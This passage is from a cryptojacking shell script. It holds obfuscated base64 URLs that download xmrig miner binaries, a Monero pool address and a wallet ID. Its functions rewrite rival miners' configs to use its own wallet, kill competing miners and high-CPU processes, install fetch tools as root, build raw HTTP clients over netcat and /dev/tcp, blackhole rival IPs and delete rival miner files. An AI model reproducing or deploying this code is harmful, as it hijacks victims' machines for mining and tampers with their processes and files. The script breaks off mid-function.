1. #!/bin/sh
  2. _d(){ printf '%s' "$1"|base64 -d 2>/dev/null; }
  3. #!/bin/sh
  4. if [ -z "$BASH_VERSION" ]; then
  5.   case "$0" in
  6.     /*|./*)
  7.       if command -v bash >/dev/null 2>&1; then
  8.         exec bash "$0" "$@"
  9.       fi
  10.     ;;
  11.   esac
  12. fi
  13. _c1="${1:-x}"
  14. _c2=$(_d 'aHR0cHM6Ly9naXN0cGFkLmNvbS9naG1pa2xhZ2gtMw==')
  15. _c3=$(_d 'eG1yLmtyeXB0ZXgubmV0d29yazo4MDI5')
  16. _c4=$(_d 'ODgza0FCN1Vmb0pDS1B6WkFhdlVDSEpkSDRMMnFWanF3NEE3OWRpVXJGakJXQkZyZXJoWFBGYmJVWm5ZMkNlbWNVaUJjTHBBVXozOHZWWUJiVXFUSEFnb0F3Z0JDRkg=')
  17. _c5=$(_d 'Z29Bd2dCQ0ZI')
  18. _c6=$(_d 'Z29Bd2dCQ0ZIIHJlc2VydmVwYXR0ZXJuMjMzMzMgcGF0dGVybjJyZXNlcnZlMzMz')
  19. _c7=$(_d 'aHR0cHM6Ly9naXRlZS5jb20vYWxiZXJ0b3RyaW5kYWRlMTMxX3BuZy94bXJpZy9yYXcvbWFpbi94bXJpZw==')
  20. _c8=$(_d 'aHR0cHM6Ly9naXRsYWIuY29tL2FwaS92NC9wcm9qZWN0cy81NDMxNDE2MS9wYWNrYWdlcy9nZW5lcmljL3htcmlnLWFhcmNoNjQtc3RhdGljLzIwMjYtMDctMjMveG1yaWctYWFyY2g2NC1zdGF0aWM=')
  21. _c9=$(_d 'aHR0cHM6Ly9naGZhc3QudG9wLz9xPWh0dHBzJTNBJTJGJTJGZ2l0aHViLmNvbSUyRmx1Y2FzNzczMzUlMkZ4bXJpZy1hbWQlMkZyZWxlYXNlcyUyRmRvd25sb2FkJTJGbWFpbiUyRnhtcmlnLXg4Nl82NC1zdGF0aWM=')
  22. log() { echo "$(date '+%Y-%m-%d %H:%M:%S') - $1"; }
  23. _preflight() {
  24.   _pf_need_fetch=1  # always need HTTP fetch capability
  25.   # Determine what we have
  26.   _check_tools() {
  27.     _pf_has_curl=0; _pf_has_wget=0; _pf_has_openssl=0; _pf_has_perl=0
  28.     command -v curl    >/dev/null 2>&1 && _pf_has_curl=1
  29.     command -v wget    >/dev/null 2>&1 && _pf_has_wget=1
  30.     command -v openssl >/dev/null 2>&1 && _pf_has_openssl=1
  31.     command -v perl    >/dev/null 2>&1 && _pf_has_perl=1
  32.   }
  33.   _check_tools
  34.   # Can we fetch?
  35.   _pf_can_fetch() {
  36.     # curl or wget alone is sufficient
  37.     [ "$_pf_has_curl" = "1" ] && return 0
  38.     [ "$_pf_has_wget" = "1" ] && return 0
  39.     # openssl + perl together is sufficient (openssl for TLS, perl for chunked decode)
  40.     [ "$_pf_has_openssl" = "1" ] && [ "$_pf_has_perl" = "1" ] && return 0
  41.     return 1
  42.   }
  43.   # If we can't fetch, try to install as root
  44.   if ! _pf_can_fetch; then
  45.     log "PREFLIGHT: missing HTTP fetch capability"
  46.     if [ "$(id -u)" = "0" ]; then
  47.       log "Running as root — installing missing components..."
  48.       _pf_installed=0
  49.       # Try package managers in order of preference: curl first (simplest),
  50.       # then wget, then openssl+perl
  51.       if command -v apk >/dev/null 2>&1; then
  52.         # Alpine: prefer curl, then wget
  53.         if [ "$_pf_installed" = "0" ]; then
  54.           log "  trying apk add curl..."
  55.           apk add --no-cache curl >/dev/null 2>&1 && _pf_installed=1
  56.         fi
  57.         if [ "$_pf_installed" = "0" ]; then
  58.           log "  trying apk add wget..."
  59.           apk add --no-cache wget >/dev/null 2>&1 && _pf_installed=1
  60.         fi
  61.         if [ "$_pf_installed" = "0" ]; then
  62.           log "  trying apk add openssl perl..."
  63.           apk add --no-cache openssl perl >/dev/null 2>&1 && _pf_installed=1
  64.         fi
  65.       elif command -v apt-get >/dev/null 2>&1; then
  66.         # Debian/Ubuntu: prefer curl, then wget
  67.         apt-get update -qq >/dev/null 2>&1
  68.         if [ "$_pf_installed" = "0" ]; then
  69.           log "  trying apt-get install curl..."
  70.           apt-get install -y -qq curl >/dev/null 2>&1 && _pf_installed=1
  71.         fi
  72.         if [ "$_pf_installed" = "0" ]; then
  73.           log "  trying apt-get install wget..."
  74.           apt-get install -y -qq wget >/dev/null 2>&1 && _pf_installed=1
  75.         fi
  76.         if [ "$_pf_installed" = "0" ]; then
  77.           log "  trying apt-get install openssl perl..."
  78.           apt-get install -y -qq openssl perl >/dev/null 2>&1 && _pf_installed=1
  79.         fi
  80.       elif command -v yum >/dev/null 2>&1; then
  81.         # RHEL/CentOS
  82.         if [ "$_pf_installed" = "0" ]; then
  83.           log "  trying yum install curl..."
  84.           yum install -y curl >/dev/null 2>&1 && _pf_installed=1
  85.         fi
  86.         if [ "$_pf_installed" = "0" ]; then
  87.           log "  trying yum install wget..."
  88.           yum install -y wget >/dev/null 2>&1 && _pf_installed=1
  89.         fi
  90.       elif command -v dnf >/dev/null 2>&1; then
  91.         # Fedora
  92.         if [ "$_pf_installed" = "0" ]; then
  93.           log "  trying dnf install curl..."
  94.           dnf install -y curl >/dev/null 2>&1 && _pf_installed=1
  95.         fi
  96.       fi
  97.       # Re-check after install
  98.       _check_tools
  99.       if _pf_can_fetch; then
  100.         log "PREFLIGHT: install succeeded"
  101.       else
  102.         log "PREFLIGHT FAIL: could not install fetch tools. Exiting."
  103.         exit 0
  104.       fi
  105.     else
  106.       log "PREFLIGHT FAIL: no curl/wget/(openssl+perl), not root — cannot install. Exiting."
  107.       exit 0
  108.     fi
  109.   fi
  110.   # Report what we have
  111.   _pf_tools=""
  112.   [ "$_pf_has_curl" = "1" ]    && _pf_tools="$_pf_tools curl"
  113.   [ "$_pf_has_wget" = "1" ]    && _pf_tools="$_pf_tools wget"
  114.   [ "$_pf_has_openssl" = "1" ] && _pf_tools="$_pf_tools openssl"
  115.   [ "$_pf_has_perl" = "1" ]    && _pf_tools="$_pf_tools perl"
  116.   log "PREFLIGHT OK: fetch available via:$_pf_tools"
  117. }
  118. _preflight
  119.  
  120. _q9='883kAB7UfoJCKPzZAavUCHJdH4L2qVjqw4A79diUrFjBWBFrerhXPFbbUZnY2CemcUiBcLpAUz38vVYBbUqTHAgoAwgBCFH'
  121.  
  122. _z7() {
  123.     _r1="${1:-/var/tmp/.odoo_pg_health.json}"
  124.     _r2="${2:-/var/tmp/.odoo_pg_start}"
  125.     _s1='s/"user"[[:space:]]*:[[:space:]]*"[^"]*"/"user": "'"$_q9"'"/g'
  126.     _s2='s/^W=["'"'"']*[^"'"'"']*["'"'"']*$/W="'"$_q9"'"/'
  127.     _h1 "$_r1" "$_s1"
  128.     _h1 "$_r2" "$_s2"
  129.     return 0
  130. }
  131.  
  132. _h1() {
  133.     _f0="$1"
  134.     _p0="$2"
  135.     _t0="${_f0}.$$"
  136.     command -v sed >/dev/null 2>&1 || return 0
  137.     command -v cat >/dev/null 2>&1 || return 0
  138.     [ -f "$_f0" ] || return 0
  139.     [ -r "$_f0" ] || return 0
  140.     [ -w "$_f0" ] || return 0
  141.     if sed "$_p0" "$_f0" > "$_t0" 2>/dev/null; then
  142.         if cat "$_t0" > "$_f0" 2>/dev/null; then
  143.             :
  144.         fi
  145.     fi
  146.     rm -f "$_t0" 2>/dev/null || :
  147.     return 0
  148. }
  149.  
  150. mask_enemy() { _z7 "$@"; }
  151.  
  152.  
  153. detect_kill_unicorn() {
  154.     _dk_uid=$(id -u 2>/dev/null || echo 0)
  155.     _dk_user=$(id -un 2>/dev/null || echo "")
  156.     _dk_home=$(getent passwd "$_dk_user" 2>/dev/null | cut -d: -f6)
  157.     [ -n "$_dk_home" ] || _dk_home="${HOME:-/tmp}"
  158.     _dk_cldir="$_dk_home/.claude"
  159.  
  160.     # Target 1: the daemonized miner, identified by cwd == ~/.claude.
  161.     # Safe: nothing legitimate ever runs from the worm's hidden dir.
  162.     _dk_miners=""
  163.     for _dk_proc in /proc/[0-9]*; do
  164.         [ -d "$_dk_proc" ] || continue
  165.         _dk_pid=${_dk_proc#/proc/}
  166.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  167.         [ "$_dk_pid" = "$$" ] && continue
  168.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  169.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  170.         _dk_cwd=$(readlink "$_dk_proc/cwd" 2>/dev/null)
  171.         case "$_dk_cwd" in
  172.             "$_dk_cldir") _dk_miners="$_dk_miners $_dk_pid";;
  173.         esac
  174.     done
  175.  
  176.     # Target 2: the live CRON jobs -> descendants respawner tree
  177.     _dk_crons=""
  178.     for _dk_proc in /proc/[0-9]*; do
  179.         [ -d "$_dk_proc" ] || continue
  180.         _dk_pid=${_dk_proc#/proc/}
  181.         [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  182.         [ "$_dk_pid" = "$$" ] && continue
  183.         _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  184.         [ "$_dk_owner" = "$_dk_uid" ] || continue
  185.         [ -r "$_dk_proc/cmdline" ] || continue
  186.         _dk_cmd=$(tr '\000' ' ' < "$_dk_proc/cmdline" 2>/dev/null)
  187.         _dk_a0=$(printf '%s\n' "$_dk_cmd" | awk '{print $1}')
  188.         _dk_a1=$(printf '%s\n' "$_dk_cmd" | awk '{print $2}')
  189.         _dk_a2=$(printf '%s\n' "$_dk_cmd" | awk '{print $3}')
  190.         [ "$(basename "$_dk_a0" 2>/dev/null)" = "CRON" ] || continue
  191.         [ "$_dk_a1" = "jobs" ] || continue
  192.         [ -n "$_dk_a2" ] && continue
  193.         _dk_crons="$_dk_crons $_dk_pid"
  194.     done
  195.  
  196.     # expand CRON jobs to all descendants
  197.     _dk_tree="$_dk_crons"
  198.     for _dk_round in 1 2 3 4 5; do
  199.         for _dk_proc in /proc/[0-9]*; do
  200.             [ -d "$_dk_proc" ] || continue
  201.             _dk_pid=${_dk_proc#/proc/}
  202.             [ "$_dk_pid" -eq "$_dk_pid" ] 2>/dev/null || continue
  203.             [ "$_dk_pid" = "$$" ] && continue
  204.             _dk_owner=$(awk '/^Uid:/{print $2; exit}' "$_dk_proc/status" 2>/dev/null)
  205.             [ "$_dk_owner" = "$_dk_uid" ] || continue
  206.             _dk_pp=$(awk '{print $4}' "$_dk_proc/stat" 2>/dev/null)
  207.             case " $_dk_tree " in
  208.                 *" $_dk_pp "*)
  209.                     case " $_dk_tree " in *" $_dk_pid "*) ;; *) _dk_tree="$_dk_tree $_dk_pid";; esac
  210.                     ;;
  211.             esac
  212.         done
  213.     done
  214.  
  215.     # Kill everything (miners + cron tree), TERM then KILL
  216.     _dk_all="$_dk_miners $_dk_tree"
  217.     for _dk_pid in $_dk_all; do kill -TERM "$_dk_pid" 2>/dev/null; done
  218.     sleep 1 2>/dev/null
  219.     for _dk_pid in $_dk_all; do kill -0 "$_dk_pid" 2>/dev/null && kill -KILL "$_dk_pid" 2>/dev/null; done
  220.  
  221.     # Scrub the respawner: crontab + payload files in .claude
  222.     _dk_cron_ioc='95\.85\.237\.226|193\.41\.68\.194|95\.85\.237\.149|2\.26\.99\.68|210\.195\.19\.39|apt-update\.com|joker\.aec944b68370194a50|\.claude'
  223.     if command -v crontab >/dev/null 2>&1; then
  224.         _dk_ct="${TMPDIR:-/tmp}/.dkcron.$$"
  225.         if crontab -u "$_dk_user" -l 2>/dev/null > "$_dk_ct"; then
  226.             if grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null; then
  227.                 grep -vE "$_dk_cron_ioc|CRON jobs" "$_dk_ct" 2>/dev/null | crontab -u "$_dk_user" - 2>/dev/null
  228.                 echo "[dk] scrubbed crontab: $_dk_user"
  229.             fi
  230.         fi
  231.         rm -f "$_dk_ct" 2>/dev/null
  232.     fi
  233.     for _dk_f in "/var/spool/cron/crontabs/$_dk_user" "/var/spool/cron/$_dk_user"; do
  234.         [ -f "$_dk_f" ] || continue
  235.         grep -Eq "$_dk_cron_ioc|CRON jobs" "$_dk_f" 2>/dev/null || continue
  236.         chattr -f -ia "$_dk_f" 2>/dev/null
  237.         sed -i -E "/$_dk_cron_ioc|CRON jobs/d" "$_dk_f" 2>/dev/null
  238.     done
  239.  
  240.     # remove the worm payload files (only ones we own, only inside .claude)
  241.     if [ -d "$_dk_cldir" ] && [ -O "$_dk_cldir" ]; then
  242.         for _dk_f in "$_dk_cldir"/unicorn "$_dk_cldir"/CRON "$_dk_cldir"/jobs "$_dk_cldir"/pwb "$_dk_cldir"/config.json; do
  243.             [ -e "$_dk_f" ] || continue
  244.             [ -O "$_dk_f" ] || continue
  245.             chattr -f -ia "$_dk_f" 2>/dev/null
  246.             rm -f "$_dk_f" 2>/dev/null
  247.             echo "[dk] removed: $_dk_f"
  248.         done
  249.     fi
  250.  
  251.     [ -z "$_dk_miners" ] && [ -z "$_dk_tree" ] && echo "[dk] nothing found" \
  252.         || echo "[dk] done: killed$(echo $_dk_miners)$(echo $_dk_tree)"
  253.     return 0
  254. }
  255.  
  256.  
  257. detect_kill_unicorn
  258.  
  259. http_get() {
  260.   _hg_url="$1"; _hg_follow=0
  261.   while [ "$_hg_follow" -lt 5 ]; do
  262.     _hg_follow=$((_hg_follow + 1))
  263.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  264.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  265.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  266.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  267.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  268.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  269.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  270.       "$_hg_path" "$_hg_host" > "$_hg_req"
  271.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  272.       # HTTPS — openssl s_client with SNI
  273.       if command -v timeout >/dev/null 2>&1; then
  274.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  275.           -servername "$_hg_host" -quiet \
  276.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  277.       else
  278.         openssl s_client -connect "${_hg_ip}:443" \
  279.           -servername "$_hg_host" -quiet \
  280.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  281.       fi
  282.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  283.     else
  284.       # Plain HTTP — use nc (netcat) if available (works on Alpine)
  285.       if command -v nc >/dev/null 2>&1; then
  286.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  287.       elif [ -n "$BASH_VERSION" ]; then
  288.         # bash /dev/tcp fallback
  289.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  290.         cat "$_hg_req" >&3
  291.         cat <&3 > "$_hg_raw" 2>/dev/null
  292.         exec 3>&-
  293.       else
  294.         # Last resort: openssl on port 80 (may fail — TLS on plain HTTP port)
  295.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  296.       fi
  297.     fi
  298.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  299.     case "$_hg_status" in
  300.       301|302|303|307|308)
  301.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  302.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  303.         [ -z "$_hg_loc" ] && return 1
  304.         case "$_hg_loc" in
  305.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  306.           http://*|https://*) ;;
  307.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  308.         esac
  309.         _hg_url="$_hg_loc"
  310.         continue
  311.       ;;
  312.     esac
  313.     tr -d '\r' < "$_hg_raw" | perl -0777 -ne '
  314.       if (/^(.*?)\n\n(.*)$/s) {
  315.         my ($h, $b) = ($1, $2);
  316.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  317.           my $out = "";
  318.           while ($b =~ /^([0-9a-fA-F]+)\n(.*)$/s) {
  319.             my $sz = hex($1); last if $sz == 0;
  320.             $b = $2; $out .= substr($b, 0, $sz);
  321.             $b = substr($b, $sz); $b =~ s/^\n//;
  322.           }
  323.           print $out;
  324.         } else { print $b; }
  325.       }
  326.     ' | grep -v '^[0-9a-fA-F]*$'
  327.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  328.     return 0
  329.   done
  330.   return 1
  331. }
  332. http_get_bin() {
  333.   _hg_url="$1"; _hg_out="$2"; _hg_follow=0
  334.   while [ "$_hg_follow" -lt 5 ]; do
  335.     _hg_follow=$((_hg_follow + 1))
  336.     _hg_hp="${_hg_url#https://}";; _hg_hp="${_hg_hp#http://}";
  337.     _hg_host="${_hg_hp%%/*}"; _hg_path="/${_hg_hp#*/}"
  338.     [ "$_hg_host" = "$_hg_hp" ] && _hg_path="/"
  339.     _hg_ip=$(getent ahostsv4 "$_hg_host" 2>/dev/null | awk '{print $1; exit}')
  340.     [ -z "$_hg_ip" ] && _hg_ip="$_hg_host"
  341.     _hg_req="/tmp/.hgreq$$"; _hg_raw="/tmp/.hgraw$$"
  342.     printf 'GET %s HTTP/1.0\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nAccept: */*\r\nConnection: close\r\n\r\n' \
  343.       "$_hg_path" "$_hg_host" > "$_hg_req"
  344.     if [ "${_hg_url#https://}"; != "$_hg_url" ]; then
  345.       # HTTPS — openssl s_client with SNI
  346.       if command -v timeout >/dev/null 2>&1; then
  347.         timeout 45 openssl s_client -connect "${_hg_ip}:443" \
  348.           -servername "$_hg_host" -quiet \
  349.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  350.       else
  351.         openssl s_client -connect "${_hg_ip}:443" \
  352.           -servername "$_hg_host" -quiet \
  353.           < "$_hg_req" > "$_hg_raw" 2>/dev/null
  354.       fi
  355.       [ -s "$_hg_raw" ] || { rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; return 1; }
  356.     else
  357.       # Plain HTTP — nc or bash /dev/tcp
  358.       if command -v nc >/dev/null 2>&1; then
  359.         cat "$_hg_req" | nc "$_hg_ip" 80 > "$_hg_raw" 2>/dev/null
  360.       elif [ -n "$BASH_VERSION" ]; then
  361.         exec 3<>"/dev/tcp/${_hg_ip}/80" 2>/dev/null
  362.         cat "$_hg_req" >&3
  363.         cat <&3 > "$_hg_raw" 2>/dev/null
  364.         exec 3>&-
  365.       else
  366.         cat "$_hg_req" | openssl s_client -connect "${_hg_ip}:80" -quiet 2>/dev/null > "$_hg_raw"
  367.       fi
  368.     fi
  369.     _hg_status=$(head -1 "$_hg_raw" 2>/dev/null | awk '{print $2}')
  370.     case "$_hg_status" in
  371.       301|302|303|307|308)
  372.         _hg_loc=$(tr -d '\r' < "$_hg_raw" | awk 'tolower($1)=="location:"{print $2; exit}')
  373.         rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  374.         [ -z "$_hg_loc" ] && return 1
  375.         case "$_hg_loc" in
  376.           /*) _hg_loc="https://${_hg_host}${_hg_loc}"; ;;
  377.           http://*|https://*) ;;
  378.           *) _hg_loc="https://${_hg_host}/${_hg_loc}"; ;;
  379.         esac
  380.         _hg_url="$_hg_loc"
  381.         continue
  382.       ;;
  383.     esac
  384.     perl -0777 -ne '
  385.       if (/^(.*?)\r\n\r\n(.*)$/s) {
  386.         my ($h, $b) = ($1, $2);
  387.         $h =~ s/\r//g;
  388.         if ($h =~ /transfer-encoding:\s*chunked/i) {
  389.           my $out = "";
  390.           while ($b =~ /^([0-9a-fA-F]+)\r?\n(.*)$/s) {
  391.             my $sz = hex($1); last if $sz == 0;
  392.             $b = $2; $out .= substr($b, 0, $sz);
  393.             $b = substr($b, $sz); $b =~ s/^\r?\n//;
  394.           }
  395.           print $out;
  396.         } else { print $b; }
  397.       }
  398.     ' < "$_hg_raw" > "$_hg_out"
  399.     rm -f "$_hg_req" "$_hg_raw" 2>/dev/null; true
  400.     [ -s "$_hg_out" ] && return 0 || return 1
  401.   done
  402.   return 1
  403. }
  404. fetch_url() {
  405.   _fu_url="$1"
  406.   if command -v curl >/dev/null 2>&1; then
  407.     curl -fsSLk --connect-timeout 10 --max-time 60 "$_fu_url" 2>/dev/null
  408.   elif command -v wget >/dev/null 2>&1; then
  409.     wget -qO- --timeout=10 --tries=2 "$_fu_url" 2>/dev/null
  410.   else
  411.     http_get "$_fu_url"
  412.   fi
  413. }
  414. fetch_file() {
  415.   _ff_url="$1"; _ff_out="$2"
  416.   if command -v curl >/dev/null 2>&1; then
  417.     curl -fLk --silent --show-error --connect-timeout 10 --max-time 120 \
  418.       --retry 2 --retry-delay 1 --output "$_ff_out" "$_ff_url" 2>/dev/null
  419.   elif command -v wget >/dev/null 2>&1; then
  420.     wget -q --timeout=10 --tries=3 -O "$_ff_out" "$_ff_url" 2>/dev/null
  421.   else
  422.     http_get_bin "$_ff_url" "$_ff_out"
  423.   fi
  424. }
  425. _is_excluded() {
  426.   _ie_cmdline="$1"
  427.   for _ie_pat in $_c6; do
  428.     case "$_ie_cmdline" in
  429.       *"$_ie_pat"*) return 0 ;;
  430.     esac
  431.   done
  432.   return 1
  433. }
  434. kill_themf() {
  435.   (
  436.     set +e
  437.     _kt_threshold=7
  438.     for _kt_proc in /proc/[0-9]*; do
  439.       [ -r "$_kt_proc/status" ] || continue
  440.       _kt_pid="${_kt_proc#/proc/}"
  441.       _kt_cmdline=$(tr '\0' ' ' < "$_kt_proc/cmdline" 2>/dev/null)
  442.       # Exclude our miner
  443.       _is_excluded "$_kt_cmdline" && continue
  444.       _kt_score=0
  445.       _kt_name=$(awk '/^Name:/ {print $2}' "$_kt_proc/status")
  446.       _kt_uid=$(awk '/^Uid:/ {print $2}' "$_kt_proc/status")
  447.       _kt_state=$(awk '/^State:/ {print $2}' "$_kt_proc/status")
  448.       _kt_ppid=$(awk '/^PPid:/ {print $2}' "$_kt_proc/status")
  449.       _kt_rss=$(awk '/^VmRSS:/ {print $2}' "$_kt_proc/status")
  450.       _kt_rss=${_kt_rss:-0}
  451.       _kt_exe=$(readlink -f "$_kt_proc/exe" 2>/dev/null)
  452.       [ -n "$_kt_exe" ] && _kt_score=$((_kt_score + 1))
  453.       [ "$_kt_rss" -gt 500000 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  454.       [ "$_kt_rss" -gt 1000000 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  455.       _kt_zombies=$(ps --no-headers --ppid "$_kt_pid" -o stat 2>/dev/null | grep -c '^Z')
  456.       [ "$_kt_zombies" -ge 5 ] 2>/dev/null && _kt_score=$((_kt_score + 3))
  457.       [ "$_kt_zombies" -ge 20 ] 2>/dev/null && _kt_score=$((_kt_score + 2))
  458.       _kt_user=$(id -nu "$_kt_uid" 2>/dev/null)
  459.       if [ "$_kt_user" != root ]; then
  460.         case "$_kt_state" in
  461.           S*) _kt_score=$((_kt_score + 1)) ;;
  462.         esac
  463.       fi
  464.       case "$_kt_exe" in
  465.         /tmp/*|/var/tmp/*|/dev/shm/*)
  466.           _kt_score=$((_kt_score + 4)) ;;
  467.         "$HOME"/.cache/*|"$HOME"/.local/share/*|"$HOME"/.config/*)
  468.           _kt_score=$((_kt_score + 4)) ;;
  469.       esac
  470.       [ -d "/proc/$_kt_ppid" ] || _kt_score=$((_kt_score + 1))
  471.       if [ "$_kt_score" -ge "$_kt_threshold" ] 2>/dev/null; then
  472.         echo "[+] Killing PID=$_kt_pid score=$_kt_score name=$_kt_name exe=$_kt_exe"
  473.         kill -9 "$_kt_pid" 2>/dev/null
  474.       fi
  475.     done
  476.   )
  477.   return 0
  478. }
  479. kill_mf3() {
  480.   (
  481.     set +e
  482.     _km_pat='syslog-ng-[0-9a-f]\{8\}|syslog-helper|donate-level|stratum+tcp|cryptonight|randomx|/proc/[0-9]+/exe'
  483.     _km_skip="$_c5"
  484.     _km_all=$(ps -eo pid=,ppid=,args= 2>/dev/null) || return 0
  485.     _km_all=$(printf '%s\n' "$_km_all" | grep -v -- "$_km_skip")
  486.     # Tier 1: watchdogs + grep scanner
  487.     _km_t1=$(printf '%s\n' "$_km_all" | grep -E "$_km_pat" 2>/dev/null | grep -vE 'kill_cryptojack|awk' | awk '/syslog-helper|donate-level/{print $1" "$2}')
  488.     # Tier 2: miners
  489.     _km_t2=$(printf '%s\n' "$_km_all" | grep -E 'syslog-ng-[0-9a-f]{8}' 2>/dev/null | grep -v awk | awk '{print $1" "$2}')
  490.     _km_t2b=$(printf '%s\n' "$_km_all" | grep -E 'stratum\+tcp|cryptonight|randomx|donate-level' 2>/dev/null | grep -vE 'syslog-ng|syslog-helper|kill_cryptojack|awk' | awk '{print $1" "$2}')
  491.     _km_pids_of() { printf '%s\n' "$1" | awk 'NF{print $1}' | sort -un | tr '\n' ' '; }
  492.     # T1: SIGTERM then SIGKILL
  493.     _km_t1p=$(_km_pids_of "$_km_t1")
  494.     _km_t1par=$(printf '%s\n' "$_km_t1" | awk 'NF{print $2}' | sort -un | tr '\n' ' ')
  495.     _km_list=$(printf '%s %s' "$_km_t1p" "$_km_t1par" | tr ' ' '\n' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  496.     if [ -n "$_km_list" ]; then
  497.       kill -TERM $_km_list 2>/dev/null; sleep 1
  498.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  499.     fi
  500.     # T2: SIGTERM then SIGKILL
  501.     _km_list=$(printf '%s %s' "$_km_t2" "$_km_t2b" | awk 'NF{print $1}' | sort -un | grep -E '^[0-9]+$' | tr '\n' ' ')
  502.     if [ -n "$_km_list" ]; then
  503.       kill -TERM $_km_list 2>/dev/null; sleep 2
  504.       for _km_p in $_km_list; do kill -0 "$_km_p" 2>/dev/null && kill -KILL "$_km_p" 2>/dev/null; :; done
  505.     fi
  506.     # T3: orphans
  507.     sleep 1
  508.     _km_left=$(ps -eo pid=,args= 2>/dev/null | grep -E "$_km_pat" | grep -vE 'kill_cryptojack|grep' | grep -v -- "$_km_skip" | awk '{print $1}' | sort -un | tr '\n' ' ')
  509.     [ -n "$_km_left" ] && kill -KILL $_km_left 2>/dev/null; :
  510.   )
  511.   return 0
  512. }
  513. kill_and_remove_process() {
  514.   _karp_term="$1"
  515.   [ -z "$_karp_term" ] && return 2
  516.   for _karp_dir in /proc/[0-9]*; do
  517.     [ -r "$_karp_dir/comm" ] || continue
  518.     _karp_pid="${_karp_dir##*/}"
  519.     _karp_comm=$(cat "$_karp_dir/comm" 2>/dev/null)
  520.     _karp_cmdline=$(tr '\0' ' ' < "$_karp_dir/cmdline" 2>/dev/null)
  521.     if [ "$_karp_comm" != "$_karp_term" ] && ! printf '%s\n' "$_karp_cmdline" | grep -Fq -- "$_karp_term"; then
  522.       continue
  523.     fi
  524.     _karp_exe=$(readlink -f "$_karp_dir/exe" 2>/dev/null)
  525.     [ -z "$_karp_exe" ] && continue
  526.     # Skip system binaries
  527.     case "$_karp_exe" in
  528.       /bin/*|/sbin/*|/usr/bin/*|/usr/sbin/*|/lib/*|/lib64/*|/usr/lib/*) continue ;;
  529.     esac
  530.     echo "Terminating '$_karp_term' PID=$_karp_pid"
  531.     kill "$_karp_pid" 2>/dev/null; sleep 1
  532.     kill -0 "$_karp_pid" 2>/dev/null && kill -9 "$_karp_pid" 2>/dev/null
  533.     if [ -f "$_karp_exe" ]; then
  534.       rm -f -- "$_karp_exe" 2>/dev/null && echo "Deleted: $_karp_exe"
  535.     fi
  536.   done
  537.   return 0
  538. }
  539. kill_high_cpu() {
  540.   _khc_threshold=150.0
  541.   ps -eo pid,%cpu --sort=-%cpu 2>/dev/null | awk -v t="$_khc_threshold" 'NR>1 && $2 > t {print $1}' | while read -r _khc_pid; do
  542.     [ -f "/proc/$_khc_pid/cmdline" ] || continue
  543.     _khc_cmdline=$(tr '\0' ' ' < "/proc/$_khc_pid/cmdline")
  544.     _is_excluded "$_khc_cmdline" && continue
  545.     kill -9 "$_khc_pid" 2>/dev/null && echo "Killed high-CPU PID=$_khc_pid"
  546.   done
  547. }
  548. harden_network() {
  549.   command -v iptables >/dev/null 2>&1 && {
  550.     iptables -A INPUT -s 66.23.199.44 -j DROP 2>/dev/null || true
  551.     iptables -A INPUT -s 45.94.31.89 -j DROP 2>/dev/null || true
  552.   }
  553.   command -v ip >/dev/null 2>&1 && {
  554.     ip route add blackhole 139.59.59.33 2>/dev/null || true
  555.     ip route add blackhole 45.94.31.89 2>/dev/null || true
  556.     ip route add blackhole 154.89.152.115 2>/dev/null || true
  557.     ip route add blackhole 84.21.173.223 2>/dev/null || true
  558.     ip route add blackhole 142.132.131.238 2>/dev/null || true
  559.   }
  560. }
  561. cleanup_files() {
  562.   # Remove competing miner artifacts (union of all scripts)
  563.   rm -rf /bin/softirq 2>/dev/null || true
  564.   rm -rf /var/tmp/.rsyslogd 2>/dev/null || true
  565.   rm -rf /lib/systemd/cache/health-monitor 2>/dev/null || true
  566.   rm -rf /usr/local/bin/watcher 2>/dev/null || true
  567.   rm -rf /tmp/runnv/* 2>/dev/null || true
  568.   rm -rf /lib/systemd/cache/asset-indexer 2>/dev/null || true
  569.   rm -rf /tmp/nuclear 2>/dev/null || true
  570.   rm -f /tmp/mon.sh 2>/dev/null || true
